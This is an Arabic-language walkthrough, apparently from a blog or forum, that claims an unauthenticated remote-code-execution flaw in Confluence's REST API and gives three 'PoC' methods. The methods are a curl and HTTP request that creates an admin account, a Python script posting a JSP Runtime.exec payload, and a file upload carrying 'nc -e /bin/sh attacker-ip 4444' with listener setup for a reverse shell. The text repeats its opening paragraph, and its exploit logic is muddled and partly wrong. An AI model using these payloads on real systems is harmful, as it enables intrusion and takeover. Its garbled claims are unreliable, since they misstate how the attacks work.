
تسمح هذه الثغرة الأمنية لمهاجم غير مصادَق عليه بتنفيذ تعليمات برمجية عشوائية عن بُعد على خادم Confluence المعرّض للخطر. توجد الثغرة بسبب عدم التحقق السليم من المدخلات التي يقدمها المستخدم في واجهة برمجة تطبيقات REST الخاصة بـ Confluence. وهذا يسمح للمهاجم بحقن تعليمات برمجية خبيثة في خادم Confluence، والتي يمكن للخادم بعد ذلك تنفيذها.
تسمح هذه الثغرة لمهاجم غير مصادَق بتنفيذ تعليمات برمجية عشوائية عن بُعد على خادم Confluence المتأثر. توجد الثغرة بسبب عدم التحقق السليم من الإدخال الذي يقدمه المستخدم في REST API الخاص بـ Confluence. وهذا يتيح للمهاجم حقن تعليمات برمجية خبيثة في خادم Confluence، والتي يمكن للخادم تنفيذها بعد ذلك.
قد تسمح هذه الثغرة للمهاجم بالسيطرة الكاملة على خادم Confluence المتأثر. وقد تمكن المهاجم من سرقة البيانات أو تعديلها أو تعطيل توافر الخادم.
سنذكر أكثر من طريقة 1.
1. تحديد نقطة نهاية API القابلة للاستغلال:
سنستخدم نقطة نهاية API التالية:
POST /rest/api/user/bulk
تسمح نقطة النهاية هذه للمسؤولين بإنشاء مستخدمين جدد بشكل جماعي.
2. صياغة طلب خبيث:
سننشئ طلبًا خبيثًا يتضمن حمولة تحتوي على تعليمات برمجية خبيثة. سيعمل هذا الكود على إنشاء مستخدم جديد بصلاحيات مسؤول.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. إرسال الطلب إلى الخادم:
سنستخدم أداة cURL لإرسال الطلب إلى خادم Confluence.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. تنفيذ التعليمات البرمجية الخبيثة:
إذا نجح الطلب، سينفذ خادم Confluence التعليمات البرمجية الخبيثة. سيؤدي ذلك إلى إنشاء مستخدم جديد باسم "attacker" بصلاحيات مسؤول. ويمكن للمهاجم بعد ذلك استخدام هذا الحساب للوصول إلى الخادم والتحكم الكامل فيه.
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
أرسل الطلب المعدل عبر Burp Suite. تحقق من الاستجابة لمعرفة ما إذا كان الخادم قد نفذ الحمولة الخبيثة. إذا كانت الاستجابة غير متوقعة أو تحتوي على أخطاء تشير إلى تنفيذ التعليمات البرمجية، فهذا يعني أنه تم اكتشاف الثغرة.
إذا كنت تستخدم حمولة لإنشاء قشرة عكسية (reverse shell)، فتأكد من إعداد الاستماع على المنفذ المحدد على جهازك المحلي: nc -lvnp 4444. إذا اتصل الخادم بجهازك المحلي، فستستقبل قشرة عكسية.